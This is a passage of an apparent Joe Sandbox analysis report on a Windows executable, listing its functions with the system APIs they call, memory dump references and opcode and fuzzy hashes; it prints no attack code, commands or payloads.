                                                              • API ID: _free$ErrorLast_abort
                                                              • String ID:
                                                              • API String ID: 2991157371-0
                                                              • Opcode ID: 3d06d1273cc689947128579bd49ea605d7c2e81f1a2694069c1466e9c3837ef0
                                                              • Instruction ID: e4f5d4da9bb2809f7b995fff0e3a7b089e1206fbd250bb8e3d8d4c48dfc61f0b
                                                              • Opcode Fuzzy Hash: 3d06d1273cc689947128579bd49ea605d7c2e81f1a2694069c1466e9c3837ef0
                                                              • Instruction Fuzzy Hash: 0F31B631904208EFDB10DF6ED841BB9BBF5EF42321F294199E504AB2A1DB769E41CB70
                                                              Function 00D7E772 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FlushFileBuffers.KERNEL32(?), ref: 00D7E78C
                                                              • SetFileTime.KERNELBASE(?,?,?,?), ref: 00D7E840
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File$BuffersFlushTime
                                                              • String ID:
                                                              • API String ID: 1392018926-0
                                                              • Opcode ID: 57d02638137c455012b4cf5659252ca083e3fc7792e1d190cd43162bbdc11969
                                                              • Instruction ID: 486e85aba12feea1a76be6db406ea5ec48688916174c363ffab2050bccb8c056
                                                              • Opcode Fuzzy Hash: 57d02638137c455012b4cf5659252ca083e3fc7792e1d190cd43162bbdc11969
                                                              • Instruction Fuzzy Hash: 2521E431259381EBC718DE24C491AABBBE8AF99304F08899DF4C9C3141E329D90CD772
                                                              Function 00D8FB4B Relevance: 3.1, APIs: 2, Instructions: 74COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D8FB52
                                                              • SHFileOperationW.SHELL32(?,?,?,?,?,?,00000000,00DC535C), ref: 00D8FC24
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FileH_prolog3_Operation_wcslen
                                                              • String ID:
                                                              • API String ID: 3104323202-0
                                                              • Opcode ID: ff6bcc36735589b5ba994435583a4edaee589e14cc3cc9c7082eb1df61906fbf
                                                              • Instruction ID: 942c23bc2a1fd17ec29f2a1f8a42bcb5bc00d31b7e5be06d654e5ae2724404a5
                                                              • Opcode Fuzzy Hash: ff6bcc36735589b5ba994435583a4edaee589e14cc3cc9c7082eb1df61906fbf
                                                              • Instruction Fuzzy Hash: 7C310571D00348DADB11EFE9C896ADCBBB4FF08310F58422EE119A7296EB701A45CB30
                                                              Function 00D7E850 Relevance: 3.1, APIs: 2, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00D7E897
                                                              • GetLastError.KERNEL32 ref: 00D7E8A4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorFileLastPointer
                                                              • String ID:
                                                              • API String ID: 2976181284-0
                                                              • Opcode ID: 377a8d91a2af1f7c5d1fd94ceebf525d14f39c05e837b146a5e3e11d79df1894
                                                              • Instruction ID: 01230bee0bd798477dc4e4084315c18f14f7b80b28beb57b2d688bd95ad2eb34
                                                              • Opcode Fuzzy Hash: 377a8d91a2af1f7c5d1fd94ceebf525d14f39c05e837b146a5e3e11d79df1894
                                                              • Instruction Fuzzy Hash: 7A11E131600710ABE724D668C844BA6B3E9EB89370F6487A9E05AD36D0E7B0ED05D7B5
                                                              Function 00D93C78 Relevance: 3.0, APIs: 2, Instructions: 46COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_catch_GS.LIBCMT ref: 00D93C82
                                                              • _wcslen.LIBCMT ref: 00D93C99
                                                                • Part of subcall function 00D86A89: _wcslen.LIBCMT ref: 00D86AA6
                                                                • Part of subcall function 00D7B03D: __EH_prolog3_GS.LIBCMT ref: 00D7B044
                                                                • Part of subcall function 00D7B3E1: __EH_prolog3_GS.LIBCMT ref: 00D7B3E8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3__wcslen$H_prolog3_catch_
                                                              • String ID:
                                                              • API String ID: 1265872803-0
                                                              • Opcode ID: da9cbba58d6643127d1c6c2c28a70dd019851decd2243d8db552726c220fbd21
                                                              • Instruction ID: 7681060e514e17f59f50059c1cb62ec19c80d48b3c1de0f0e5786a099ecf9373
                                                              • Opcode Fuzzy Hash: da9cbba58d6643127d1c6c2c28a70dd019851decd2243d8db552726c220fbd21
                                                              • Instruction Fuzzy Hash: A011A335901B939EC704EB68B811F9D7BA4DB16310F00819EE404D7357DBB06AC48BB1
                                                              Function 00D71CE2 Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D71CE9
                                                              • GetDlgItem.USER32(?,?), ref: 00D71D01
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_Item_wcslen
                                                              • String ID:
                                                              • API String ID: 896027972-0
                                                              • Opcode ID: 11394270ffd6d7035a24b7aa33ac0efbf7336ad53ea4ec74c684376a196c08e8
                                                              • Instruction ID: 2f757b1abd5a7d0ef1994bea6f5f37d65776fb36fe5b32974322c1843d622baa
                                                              • Opcode Fuzzy Hash: 11394270ffd6d7035a24b7aa33ac0efbf7336ad53ea4ec74c684376a196c08e8
                                                              • Instruction Fuzzy Hash: 6201B1796002049ED720EFA8C886BEDB7E8EF54710F44421AF81AA7291E7709A01CB30
                                                              Function 00D876A7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(02000000,?,00000002,00000002,?,00D876EA,00D80B6F), ref: 00D876B4
                                                              • GetProcessAffinityMask.KERNEL32(00000000,?,00D876EA), ref: 00D876BB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Process$AffinityCurrentMask
                                                              • String ID:
                                                              • API String ID: 1231390398-0
                                                              • Opcode ID: 759683bd72395f2c03e82971b43040eae79a0f5e2bd6017777ed7dc64f768e85
                                                              • Instruction ID: adfb59c357c13a2eb5ffef1568c8b4d15c39deaf54fc411e47d5ff26ef109fe3
                                                              • Opcode Fuzzy Hash: 759683bd72395f2c03e82971b43040eae79a0f5e2bd6017777ed7dc64f768e85
                                                              • Instruction Fuzzy Hash: E4E09233B24606A78F19A7AD9C069AB77DDAB443547384079A413D3200F974DD0147B0
                                                              Function 00D8F53A Relevance: 3.0, APIs: 2, Instructions: 31COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GdiplusShutdown.GDIPLUS(?,?,?,?,00DA9B73,000000FF), ref: 00D8F578
                                                              • CoUninitialize.COMBASE(?,?,?,?,00DA9B73,000000FF), ref: 00D8F57D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: GdiplusShutdownUninitialize
                                                              • String ID:
                                                              • API String ID: 3856339756-0
                                                              • Opcode ID: 39ab77c49d56ce431135c1c3c095a2be98fa5ccb3a9cb4ea897a0227d55df155
                                                              • Instruction ID: 5937a0330d00858fde9ec02979fec9c5b3199c7e4b90ec634a9c78180d4eb4d4
                                                              • Opcode Fuzzy Hash: 39ab77c49d56ce431135c1c3c095a2be98fa5ccb3a9cb4ea897a0227d55df155
                                                              • Instruction Fuzzy Hash: 6AF03A76604A45AFC7119F59EC41B4ABBA8FB49660F004266E916D37A0CB74A800CAA4
                                                              Function 00D8E849 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D8E86A
                                                              • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00D8E871
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: BitmapCreateFromGdipStream
                                                              • String ID:
                                                              • API String ID: 1918208029-0
                                                              • Opcode ID: b050b9157c52c050715e723c0cc116e6018c9c6c9d000fb44e9adb9e6ceeebd3
                                                              • Instruction ID: 4de46b1f551d03500ab466d9538719302dde409d054a70bb085f2eb3e9769c21
                                                              • Opcode Fuzzy Hash: b050b9157c52c050715e723c0cc116e6018c9c6c9d000fb44e9adb9e6ceeebd3
                                                              • Instruction Fuzzy Hash: 1DE0EDB1501218EFCB10EF55C90579DB7F8EB45350F20846AA89593601D670AE04ABB1
                                                              Function 00D71E1F Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ItemShowWindow
                                                              • String ID:
                                                              • API String ID: 3351165006-0
                                                              • Opcode ID: bccbdb3e5ed69a1592fcbd461a5b405f48630d74d3d5a1e645a111811401167e
                                                              • Instruction ID: 75c772edbd3424185c3a10405111ee780a63a6a91c8bea5a2b67feecd1eb0dff
                                                              • Opcode Fuzzy Hash: bccbdb3e5ed69a1592fcbd461a5b405f48630d74d3d5a1e645a111811401167e
                                                              • Instruction Fuzzy Hash: A3C0123205C702BECB010BB1DC09D2ABBA8ABA4212F08CA08B0B5C0160C239C010DF21
                                                              Function 00D71CC4 Relevance: 3.0, APIs: 2, Instructions: 8COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,?), ref: 00D71CD2
                                                              • KiUserCallbackDispatcher.NTDLL(00000000), ref: 00D71CD9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CallbackDispatcherItemUser
                                                              • String ID:
                                                              • API String ID: 4250310104-0
                                                              • Opcode ID: e83c34643611b22369a4e7dc7afd211f41309686ec5b2f4662e1b1c222c3b814
                                                              • Instruction ID: 90b7e15a32a9bcec446792eea90905b65f59372d4c95d4892d056e1e918fb565
                                                              • Opcode Fuzzy Hash: e83c34643611b22369a4e7dc7afd211f41309686ec5b2f4662e1b1c222c3b814
                                                              • Instruction Fuzzy Hash: 16C04C7640C742BFCB015BA19D1CC2FBFA9EB95311F04D949B5A5C0220C6358410DF21
                                                              Function 00D727E0 Relevance: 1.8, APIs: 1, Instructions: 306COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
                                                              • Opcode ID: 0acf8bfa842647a3fdbf8af94c327851a5500af06a8c90079e0dbfb1bd1ecca4
                                                              • Instruction ID: 9b02f4ed2ebc09fcc04b261954e983caf45f8353804fa8e369c9ede2069093eb
                                                              • Opcode Fuzzy Hash: 0acf8bfa842647a3fdbf8af94c327851a5500af06a8c90079e0dbfb1bd1ecca4
                                                              • Instruction Fuzzy Hash: 4FC18B30A042949BDF25DF68C8947FD7BA0AB4A310F1C80B9ED49DF286E7709945CBB1
                                                              Function 00D89556 Relevance: 1.8, APIs: 1, Instructions: 258COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
                                                              • Opcode ID: 1f08fcbc9dd0be6bacc9c26b964e1b0a3edb4fe6cf807b1434cfd454c956826c
                                                              • Instruction ID: 24e452580a12e1a24c7991f0eeec3b1e4b26be7bb6d0e6740616ab4230fae7a8
                                                              • Opcode Fuzzy Hash: 1f08fcbc9dd0be6bacc9c26b964e1b0a3edb4fe6cf807b1434cfd454c956826c
                                                              • Instruction Fuzzy Hash: 1881E1719043059FDB24FE68DC96B7AF7E4EF40310F1C092EE495A7281E7B4994487B5
                                                              Function 00D720B0 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D720B7
                                                                • Part of subcall function 00D780EC: __EH_prolog3.LIBCMT ref: 00D780F3
                                                                • Part of subcall function 00D82815: __EH_prolog3.LIBCMT ref: 00D8281C
                                                                • Part of subcall function 00D776E7: __EH_prolog3.LIBCMT ref: 00D776EE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
                                                              • Opcode ID: 99964b3b419a458df6b3f13dbc4dbfcad41c1cfff1f615227031033b98bc148c
                                                              • Instruction ID: 7b8ccdd24d32f9df7d09cc78087c8478fafe7f8bc618c5b283f413aef1283837
                                                              • Opcode Fuzzy Hash: 99964b3b419a458df6b3f13dbc4dbfcad41c1cfff1f615227031033b98bc148c
                                                              • Instruction Fuzzy Hash: B051C3B1A057808EDB45DF6984807D9BBE0AF59300F0885BADC4DDE6ABEB744245CB71
                                                              Function 00D7B3E1 Relevance: 1.6, APIs: 1, Instructions: 100COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7B3E8
                                                                • Part of subcall function 00D7F711: FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00D7A684,?,?,00000000,?,?,?,?,?,?), ref: 00D7F739
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CloseFindH_prolog3_
                                                              • String ID:
                                                              • API String ID: 2672038326-0
                                                              • Opcode ID: 3d9e2bc86990c9b23d0aec492c9aa65d686eb0738944f77d71fbc6dd5a9f1934
                                                              • Instruction ID: 08e29522c0690394766af587d265158807c1b8d1e109ec61c1f0b46f51d62ece
                                                              • Opcode Fuzzy Hash: 3d9e2bc86990c9b23d0aec492c9aa65d686eb0738944f77d71fbc6dd5a9f1934
                                                              • Instruction Fuzzy Hash: 07413670900608CFDB24DFA9C885BA9B7B1FF05318F58846EE19A9B352E730A805CB35
                                                              Function 00D72C30 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D72C37
                                                                • Part of subcall function 00D8880E: __EH_prolog3.LIBCMT ref: 00D88815
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3H_prolog3_
                                                              • String ID:
                                                              • API String ID: 3355343447-0
                                                              • Opcode ID: 7d75d2496dcf6eb30fd51dbc0f1389fc3e7739720d921247eb48e3d0227cb80a
                                                              • Instruction ID: 42e2ef1f84523c078f850bae1c882979de45cac7ba15013531f8b5593dc33238
                                                              • Opcode Fuzzy Hash: 7d75d2496dcf6eb30fd51dbc0f1389fc3e7739720d921247eb48e3d0227cb80a
                                                              • Instruction Fuzzy Hash: DD31107190124CEECF15EBE4E8919EDBBB9EF18300F58412AF449A7251EB309945DB70
                                                              Function 00D897A4 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
